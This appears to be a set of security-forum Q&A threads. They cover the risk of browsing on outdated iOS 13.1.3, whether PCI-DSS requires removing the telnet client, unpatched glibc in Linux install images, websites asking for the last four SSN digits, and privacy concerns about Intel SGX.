Are there any publicly available modules for penetration testing tools such as metasploit that can exploit safari of IOS 13.1.3.
Am I safe right now if I continue to browse the internet with outdated IOS 13.1.3?

iOS 13.1.3

iOS 13.1.3 includes bug fixes and improvements for your iPhone. This update:

•   Addresses an issue that could prevent a device from ringing or vibrating for an incoming call

•   Fixes an issue that may prevent opening a meeting invite in Mail

•   Resolves an issue where data in the Health app may not display correctly after daylight savings time adjusts

•   Fixes an issue where Voice Memos recordings may not download after restoring from iCloud Backup

•   Addresses an issue where apps might fail to download when restoring from iCloud Backup

•   Fixes an issue that can prevent Apple Watch from pairing successfully

•   Resolves an issue where notifications may not be received on Apple Watch

•   Fixes an issue where Bluetooth may disconnect on certain vehicles

•   Improves connection reliability of Bluetooth hearing aids and headsets

•   Addresses launch performance for apps that use Game Center

For information on the security content of Apple software updates, please visit this website: https://support.apple.com/kb/HT201222

Honestly, this information is just a search away. Most of the updates mentioned in this version are not directly related to fixing any such vulnerabilities/exploits as you mentioned. In such events, major security patches are usually deployed in a short span of time.

It is not dangerous to use your current version but I recommend you to use the latest version software when possible.

Even though some of the new features may not prove to be necessary, sometimes the small bug fixes/security patches can save you a lot of trouble in case of any unfortunate security breaches.


Does PCI-DSS require that the telnet client be uninstalled from a server Often(not always) I see with my clients' PCI vulnerability assessments the telnet client being installed coming up as flagged, for both Windows and Linux based servers.

I understand why a telnet server would get flagged but the client being installed but not used for actual telnet-based communications I don't see why they would flag it.

For troubleshooting network connectivity there are other 3rd party tools you can use but when you're having remote users perform troubleshooting for you in an environment without a standard set of tools installed sometimes this can be a life-saver. Just have had this item on my list for awhile and would like to get some outside input/perspective.

Edit: To clarify this is meant in the context of using the telnet client as a troubleshooting tool to verify port access, not to actually use the telnet protocol. There are "better" tools for this, but as previously stated you can often wind up in a situation where using a quick telnet check can give you the info you need versus taking the time to download a heavier 3rd party utility. An "OpenSSH" server is not a suitable replacement for this use case.

I fail to see why you would want an insecure program/protocol like telnet when its easy to employ a secure alternative in the form of an open-SSH server.

Telnet has often been used to compromise a system even when the normal network operators did not use it. There simply is no way to secure a telnet session.

Since the telnet client of windows can be used through the COM system it has even been used to create remote callbacks to an attackers server. (e.a. make it easy for someone to actually do something with a compromised host) Only when its completely removed the risk is mitigated.

Update:

  Edit: To clarify this is meant in the context of using the telnet client as a troubleshooting tool to verify port access, not to actually use the telnet protocol. There are "better" tools for this, but as previously stated you can often wind up in a situation where using a quick telnet check can give you the info you need versus taking the time to download a heavier 3rd party utility. An "OpenSSH" server is not a suitable replacement for this use case.

For this use case a cUrl tool would better suffice. since you can get all the details (as opposed to some with telnet) and it is even lighter than telnet without the attached COM elements that telnet supports (yes you got the library, but that is small enough to put in an exploit and there for not a barrier for attackers).

The OpenSSH would replace all functionality of telnet as a management tool (and remote access), and replace this with a secure alternative.


In light of the glibc DNS vulnerability, why aren't Linux distros updating install images? Doesn't that make the mere act of updating a newly installed Linux instance unsafe, since the initially installed package manager is vulnerable? Am I missing something?

For example, the current Ubuntu 15.10 image dates 21 Oct (http://releases.ubuntu.com/15.10) and the Fedora 23 image dates 30 Oct (http://mirror.cc.vt.edu/pub/fedora/linux/releases/23/Workstation/x86_64/iso). Why is that?

This Ubuntu security advisory says that the 15.10 release is affected: http://www.ubuntu.com/usn/usn-2900-1, but the install image doesn't seem to have been updated ever since it was first released.

My concern is this: as far as I have understood, any application that uses glibc to perform DNS queries is vulnerable, the package manager has to perform DNS queries to find mirrors and runs as root, and the vulnerability has already been known for a while.

Do apt and RPM use a different library for performing their DNS queries, or are there some defenses in place to prevent this vulnerability from being exploited?

Is it that the distros' security teams simply can't cope with the amount of vulnerabilities discovered every day, i.e. "Using a computer? Expect trojans/rootkits!" is the reality of computer security that has to be accepted?

Maintaining a distribution is Hard Work.  It takes a lot of logistics to test the software packages,upgrade them, communicate with downstream developers, etc.

The install disk is the first experience a user has with the software, and it simply has to work. If it doesn't, the user isn't installing the software.  So that's why distributions only make point releases and upgrade the install software every so often.  If you had to rebuild the software at every security update, you'd be doing that so often you'd likely have quality control issues far more often that would be acceptable.

I'd say you're correct that the software would be vulnerable on first install.  This is a tradoff the distribution maintainers have (likely) weighed and accepted.  Upon install, generally the first thing that happens is updating the software.  There's some small risk that during this period, someone might be able to take advantage of the glibc vulnerability.  The only DNS lookups that would happen before the glibc vulnerability was patched would be mirror sites, so an attacker would either have to control this, or perform a MiTM attack.


Why do websites ask for the last four digits of your social security number? Quite a few websites, Coinbase and Stripe most notably, ask for the last four digits of your social security number to 'verify your identity'.  Assuming these websites are not trying to fraud you, how could knowing four digits of your SSN possibly be valuable to them?  Both of these websites (if you have made a transaction) have access to your bank account, so does that have anything to do with it?

I think it is here, under 1020.410 (i), which states:

  If the originator's bank has knowledge that the person placing the payment order is not the originator, the originator's bank shall obtain and retain a record of the originator's taxpayer identification number (e.g., social security or employer identification number) or, if none, alien identification number or passport number and country of issuance, if known by the person placing the order, or a notation in the record of the lack thereof.

If I interpret this correctly, it means that venmo, coinbase, stripe, etc, need those digits for this in order to legally send money from your bank account.


What are the concerns, or drawbacks, regarding Intel's SGX when it comes to privacy? I was in a workshop about privacy recently and at some point, a passionate debate started about Intel's Software Guard Extensions (SGX). Although I have a security background (Master in Information Security), I find it very difficult to understand exactly how SGX works. But I understand that it is an alternative to homomorphic encryption, since it can process data securely way faster than homomorphic encryption does.

At that workshop some people made the argument that there are no guarantees about privacy when it comes to SGX and that, by using SGX, you basically have to consider Intel a trusted third party.

My question is: What are the concerns, or drawbacks, regarding Intel's SGX when it comes to privacy?

Intel SGX does not really replace homomorphic encryption. It is designed to protect from compromise of one of the communicating computers by verifying, that the other computer runs the correct, unmodified software and that any data the SW saves can be only read by the unmodified software. You have to trust Intel to achieve this. This can be used to for example make sure, that self-destructing messages are really deleted by the other party in communication. Signal wants to use it to confirm they don't keep user metadata and contact list.

On the other hand, to protect the data, you can still add your own encryption as an inner layer, whether in transport or at rest.

As for privacy and trust in Intel, this is a moot point considering the Intel Managment Engine is effectively a backdoor into your computer black box with full access to your computer, that can not be fully removed or disabled.